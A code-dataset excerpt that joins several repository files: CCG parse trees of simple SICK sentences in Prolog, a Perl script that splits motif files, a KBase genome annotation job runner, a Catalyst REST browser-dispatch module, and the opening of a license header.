t(n, 'purple', 'purple', 'NN', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'holding', 'hold', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'rainbow', 'rainbow', 'NN', 'I-NP', 'O'),
t(n, 'afghan', 'afghan', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(982,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'squatting', 'squat', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'brush', 'brush', 'NN', 'I-NP', 'O')))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'taking', 'take', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'photo', 'photo', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(983,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bike', 'bike', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(984,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'practicing', 'practicing', 'NN', 'I-NP', 'O'),
t(n, 'jumper', 'jumper', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'tossing', 'toss', 'VBG', 'I-VP', 'O'),
fa(np:nb,
ba(np:nb/n,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
t((np:nb/n)\np, '\'s', '\'s', 'POS', 'B-NP', 'O')),
t(n, 'snowboard', 'snowboard', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'air', 'air', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(985,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'instruments', 'instrument', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'played', 'play', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'band', 'band', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(986,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
lp(n,
t(comma, ',', ',', ',', 'I-NP', 'O'),
fa(n,
t(n/n, 'topless', 'topless', 'JJ', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:pss\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'covered', 'cover', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'paint', 'paint', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(987,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'family', 'family', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'buying', 'buy', 'VBG', 'I-VP', 'O'),
t(np, 'something', 'something', 'DT', 'I-NP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'vending', 'vend', 'VBG', 'I-NP', 'O'),
t(n, 'machine', 'machine', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(988,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'suit', 'suit', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
ba(n,
t(n, 'microphone', 'microphone', 'NN', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n, 'singing', 'singing', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(989,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bike', 'bike', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'ridden', 'ride', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'over', 'over', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'monkey', 'monkey', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(990,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'dirt', 'dirt', 'NN', 'I-NP', 'O'),
t(n, 'bike', 'bike', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'down', 'down', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'dirt', 'dirt', 'NN', 'I-NP', 'O'),
t(n, 'hill', 'hill', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(991,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'biker', 'biker', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/pp, 'away', 'away', 'RB', 'I-ADVP', 'O'),
fa(pp,
t(pp/np, 'from', 'from', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'fence', 'fence', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(992,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'road', 'road', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(993,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'electric', 'electric', 'JJ', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(994,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'kid', 'kid', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(995,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'animal', 'animal', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'grazing', 'graze', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(996,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'cop', 'cop', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'police', 'police', 'NN', 'I-NP', 'O'),
t(n, 'bike', 'bike', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(997,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'snapping', 'snap', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'droplets', 'droplet', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(998,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'band', 'band', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'instrument', 'instrument', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(999,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'pushing', 'push', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'motocross', 'motocross', 'NN', 'I-NP', 'O'),
t(n, 'bike', 'bike', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'down', 'down', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'dirt', 'dirt', 'NN', 'I-NP', 'O'),
t(n, 'hill', 'hill', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(1000,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'swimming', 'swim', 'VBG', 'I-NP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'after', 'after', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'tennis', 'tennis', 'NN', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
| kovvalsky/LangPro | ccg_sen_d/SICK_trial_d_occg.pl | Perl | bsd-3-clause | 762,829 |
#!/usr/bin/perl
# Author: Joe Godbehere
# split a motif file into chunks, each containing an ~equal quantity of motifs
use POSIX (ceil);
use File::Basename;
sub printUsage {
print STDERR "Required arguments:\n";
print STDERR "\t-m <motif file>\n";
print STDERR "\t-n <number of chunks>\n";
print STDERR "Optional arguments:\n";
print STDERR "\t-pre <chunk filename prefix>\n";
print STDERR "\t-post <chunk filename postfix>\n";
print STDERR "\t-d <output directory>\n";
print STDERR "\t-min <minimum motif length>\n";
}
my $motif_filename;
my $chunk_count;
my $prefix;
my $postfix = "";
my $output_dir = ".";
my $min_motif_length = 0;
my $max_motifs_per_chunk = 200; #work around HOMER limitation
for(my $i=0; $i < @ARGV; ++$i) {
if($ARGV[$i] eq "-m") {
$motif_filename = $ARGV[++$i];
}
elsif($ARGV[$i] eq "-n") {
$chunk_count = $ARGV[++$i];
}
elsif($ARGV[$i] eq "-pre") {
$prefix = $ARGV[++$i];
}
elsif($ARGV[$i] eq "-post") {
$postfix = $ARGV[++$i];
}
elsif($ARGV[$i] eq "-d") {
$output_dir = $ARGV[++$i];
}
elsif($ARGV[$i] eq "-min") {
$min_motif_length = $ARGV[++$i];
}
else {
print STDERR "ERROR: Invalid argument.\n";
printUsage();
exit 1;
}
}
if(not defined $motif_filename) {
print STDERR "ERROR: Motif file not specified.\n";
printUsage();
exit 1;
}
if(not defined $chunk_count) {
print STDERR "ERROR: Number of chunks not specified.\n";
printUsage();
exit 1;
}
if(not defined $prefix) {
print STDERR "Warning: Prefix not specified, defaulting to motif filename.\n";
$prefix = basename($motif_filename);
}
if(not -d $output_dir) {
if(-e $output_dir) {
print STDERR "Output directory '$output_dir' is not a directory.\n";
} else {
print STDERR "Output directory '$output_dir' does not exist.\n";
}
exit 1;
}
open MOTIF_FILE, "<", "$motif_filename"
or die "Can't open '$motif_filename' for reading. $!\n";
#get a count of the motifs
my $motif_count = 0;
my $motif_length = -1;
my $motif_rejected_count = -1;
while(<MOTIF_FILE>) {
if(/^>/) {
if($motif_length >= $min_motif_length) {
++$motif_count;
} else {
++$motif_rejected_count;
}
$motif_length = 0;
} else {
++$motif_length;
}
}
#make sure we count the last one
if($motif_length >= $min_motif_length) {
++$motif_count
} else {
++$motif_rejected_count;
}
print STDERR "Read motifs: $motif_count, rejected motifs: $motif_rejected_count\n";
my $motifs_per_chunk = ceil($motif_count / $chunk_count);
if($motifs_per_chunk > $max_motifs_per_chunk) {
print STDERR "The specified number of chunks ($chunk_count) would result in $motifs_per_chunk motifs per chunk, but we require that there are at most $max_motifs_per_chunk in each chunk. Please run the script again, specifying a larger number of chunks.\n";
exit 1;
}
if($chunk_count < 2) {
print STDERR "No need to split the input into chunks.\n";
exit 0;
}
seek MOTIF_FILE, 0, SEEK_SET; #return to start of file
my $chunk_index = 1;
my $chunk_motifs;
my $chunk_file;
my $motif;
sub openChunk {
my $chunk_filename = sprintf("%s/%s.part%02d%s", $output_dir, $prefix, $chunk_index, $postfix);
open $chunk_file, ">", $chunk_filename
or die "Can't open '$chunk_filename' for writing. $!";
}
sub endMotif {
if($motif_length >= $min_motif_length) {
#output the motif
print $chunk_file $motif;
++$chunk_motifs;
}
}
sub startMotif {
$motif = "";
$motif_length = -1; #-1 to offset header row
}
openChunk();
startMotif();
while(<MOTIF_FILE>) {
if(/^>/) {
endMotif();
startMotif();
#move to the next chunk if the current one is at capacity
if($chunk_motifs >= $motifs_per_chunk) {
$chunk_motifs = 0;
++$chunk_index;
openChunk();
}
}
$motif = $motif . $_;
++$motif_length;
}
#make sure we count the last one
endMotif();
print STDERR "Done\n";
| VCCRI/motif-discovery-pipeline | find-motifs/split_motif_file.pl | Perl | bsd-3-clause | 3,928 |
#!/usr/bin/perl -w
########################################################################
# This perl script runs the designated queue for model reconstruction
# Author: Christopher Henry
# Author email: chrisshenry@gmail.com
# Author affiliation: Mathematics and Computer Science Division, Argonne National Lab
# Date of script creation: 10/6/2009
########################################################################
use strict;
use warnings;
use JSON::XS;
use Bio::KBase::workspaceService::Client;
use Bio::KBase::fbaModelServices::Client;
use Bio::KBase::GenomeAnnotation::GenomeAnnotationImpl;
$|=1;
if (!defined($ARGV[0])) {
exit(0);
}
my $filename = $ARGV[0];
open( my $fh, "<", $filename."jobfile.json");
my $job;
{
local $/;
my $str = <$fh>;
$job = decode_json $str;
}
close($fh);
if (!defined($job->{wsurl})) {
$job->{wsurl} = "http://kbase.us/services/workspace";
}
if (!defined($job->{fbaurl})) {
$job->{fbaurl} = "http://kbase.us/services/fba_model_services";
}
my $wsserv = Bio::KBase::workspaceService::Client->new($job->{wsurl});
my $output = $wsserv->get_object({
id => $job->{jobdata}->{Genome_uid},
type => "Genome",
workspace => $job->{jobdata}->{Genome_ws},
instance => $job->{jobdata}->{Genome_inst},
auth => $job->{auth}
});
my $inGenome = $output->{data};
my $annoserv = Bio::KBase::GenomeAnnotation::GenomeAnnotationImpl->new();
#Setting full pipeline
if (!defined($job->{jobdata}->{stages})) {
$job->{jobdata}->{stages} = [
{
id => "call_selenoproteins",
enable => 1,
parameters => {}
},
{
id => "call_pyrrolysoproteins",
enable => 1,
parameters => {}
},
{
id => "call_RNAs",
enable => 1,
parameters => {}
},
{
id => "call_CDSs",
enable => 1,
parameters => {}
},
{
id => "find_close_neighbors",
enable => 1,
parameters => {}
},
{
id => "assign_functions_to_CDSs",
enable => 1,
parameters => {}
}
];
}
#Removing gene calling steps if only proteins are provided
if (defined($inGenome->{protein_wsid}) && !defined($inGenome->{transcript_wsid}) && !defined($inGenome->{contig_wsid})) {
my $newstages;
for (my $i=0; $i < @{$job->{jobdata}->{stages}}; $i++) {
if ($job->{jobdata}->{stages}->[$i]->{id} !~ m/^call_/) {
push(@{$newstages},$job->{jobdata}->{stages}->[$i]);
}
}
$job->{jobdata}->{stages} = $newstages;
} elsif (defined($inGenome->{contig_wsid})) {
if ($inGenome->{contig_wsid} =~ m/(.+)\/(.+)\/v(.+)/) {
my $output = $wsserv->get_object({
id => $2,
type => "ContigSet",
workspace => $1,
instance => $3,
auth => $job->{auth}
});
for (my $i=0; $i < @{$output->{data}->{contigs}}; $i++) {
$inGenome->{contigs}->[$i] = {
id => $output->{data}->{contigs}->[$i]->{sourceid},
dna => $output->{data}->{contigs}->[$i]->{sequence},
};
}
}
} elsif (defined($inGenome->{transcript_wsid})) {
if ($inGenome->{transcript_wsid} =~ m/(.+)\/(.+)\/v(.+)/) {
my $output = $wsserv->get_object({
id => $2,
type => "TranscriptSet",
workspace => $1,
instance => $3,
auth => $job->{auth}
});
for (my $i=0; $i < @{$output->{data}->{transcripts}}; $i++) {
$inGenome->{contigs}->[$i] = {
id => $output->{data}->{contigs}->[$i]->{sourceid},
dna => $output->{data}->{contigs}->[$i]->{sequence},
};
}
}
}
#Running annotation pipeline
for (my $i=0; $i < @{$job->{jobdata}->{stages}}; $i++) {
if ($job->{jobdata}->{stages}->[$i]->{id} eq "call_selenoproteins") {
#$inGenome = $annoserv->call_selenoproteins($inGenome);
} elsif ($job->{jobdata}->{stages}->[$i]->{id} eq "call_pyrrolysoproteins") {
#$inGenome = $annoserv->call_pyrrolysoproteins($inGenome);
} elsif ($job->{jobdata}->{stages}->[$i]->{id} eq "call_RNAs") {
$inGenome = $annoserv->call_RNAs($inGenome);
} elsif ($job->{jobdata}->{stages}->[$i]->{id} eq "call_CDSs") {
$inGenome = $annoserv->call_CDSs($inGenome);
} elsif ($job->{jobdata}->{stages}->[$i]->{id} eq "find_close_neighbors") {
#$inGenome = $annoserv->find_close_neighbors($inGenome);
} elsif ($job->{jobdata}->{stages}->[$i]->{id} eq "assign_functions_to_CDSs") {
$inGenome = $annoserv->assign_functions_to_CDSs($inGenome);
}
}
my $fbaserv = Bio::KBase::fbaModelServices::Client->new($job->{fbaurl});
delete $inGenome->{contigs};
$fbaserv->genome_object_to_workspace({
uid => $job->{jobdata}->{Genome_uid},
genomeobj => $inGenome,
workspace => $job->{jobdata}->{workspace},
auth => $job->{auth}
});
$wsserv->set_job_status({
auth => $job->{auth},
jobid => $job->{id},
currentStatus => "running",
status => "done"
});
1;
| mmundy42/KBaseFBAModeling | internalScripts/RunAnnoJob.pl | Perl | mit | 4,570 |
package LogoServer::Action::REST::ForBrowsers;
use Moose;
use namespace::autoclean;
our $VERSION = '1.12';
$VERSION = eval $VERSION;
extends 'Catalyst::Action::REST';
use Catalyst::Request::REST::ForBrowsers;
sub BUILDARGS {
my $class = shift;
my $config = shift;
Catalyst::Request::REST::ForBrowsers->_insert_self_into( $config->{class} );
return $class->SUPER::BUILDARGS( $config, @_ );
}
override dispatch => sub {
my $self = shift;
my $c = shift;
my $req = $c->request();
return super()
unless $req->can('looks_like_browser')
&& $req->looks_like_browser()
&& uc $c->request()->method() =~ /GET|POST/;
my $controller = $c->component( $self->class );
my $rest_method = $self->name() . '_GET_html';
if ($c->request()->method() =~ /POST/) {
$rest_method = $self->name() . '_POST_html';
}
if ( $controller->action_for($rest_method)
|| $controller->can($rest_method) ) {
return $self->_dispatch_rest_method( $c, $rest_method );
}
return super();
};
__PACKAGE__->meta->make_immutable;
1;
=head1 NAME
LogoServer::Action::REST::ForBrowsers - Automated REST Method Dispatching that Accommodates Browsers
=head1 SYNOPSIS
sub foo :Local :ActionClass('REST::ForBrowsers') {
... do setup for HTTP method specific handlers ...
}
sub foo_GET : Private {
... do something for GET requests ...
}
sub foo_GET_html : Private {
... do something for GET requests from browsers ...
}
sub foo_POST : Private {
... do something for POST requests ...
}
sub foo_POST_html : Private {
... do something for POST requests from browsers ...
}
=head1 DESCRIPTION
This class subclasses L<Catalyst::Action::REST> to add an additional
dispatching hook. If the request is a GET/POST request I<and> the request looks
like it comes from a browser, it tries to dispatch to a C<GET/POST_html> method
before trying to the C<GET/POST> method instead. All other HTTP methods are
dispatched in the same way.
For example, in the synopsis above, calling GET on "/foo" from a browser will
end up calling the C<foo_GET_html> method. If the request is I<not> from a
browser, it will call C<foo_GET>.
See L<Catalyst::Action::REST> for more details on dispatching details.
=head1 METHODS
=over 4
=item dispatch
This method overrides the default dispatch mechanism to the re-dispatching
mechanism described above.
=back
=head1 SEE ALSO
You likely want to look at L<Catalyst::Controller::REST>, which implements a
sensible set of defaults for a controller doing REST.
This class automatically adds the
L<Catalyst::TraitFor::Request::REST::ForBrowsers> role to your request class.
=head1 AUTHOR
Jody Clements clementsj@janelia.hhmi.org
=head1 COPYRIGHT
Copyright the above named AUTHOR
=head1 LICENSE
The MIT License (MIT)
Copyright (c) 2014 Jody Clements, Travis Wheeler & Robert Finn
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
=cut
| Janelia-Farm-Xfam/LogoServer | lib/LogoServer/Action/REST/ForBrowsers.pm | Perl | mit | 3,998 |
# Naive-Bayesian-style probability combining and related constants.
#
# <@LICENSE>
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to you under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at:
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
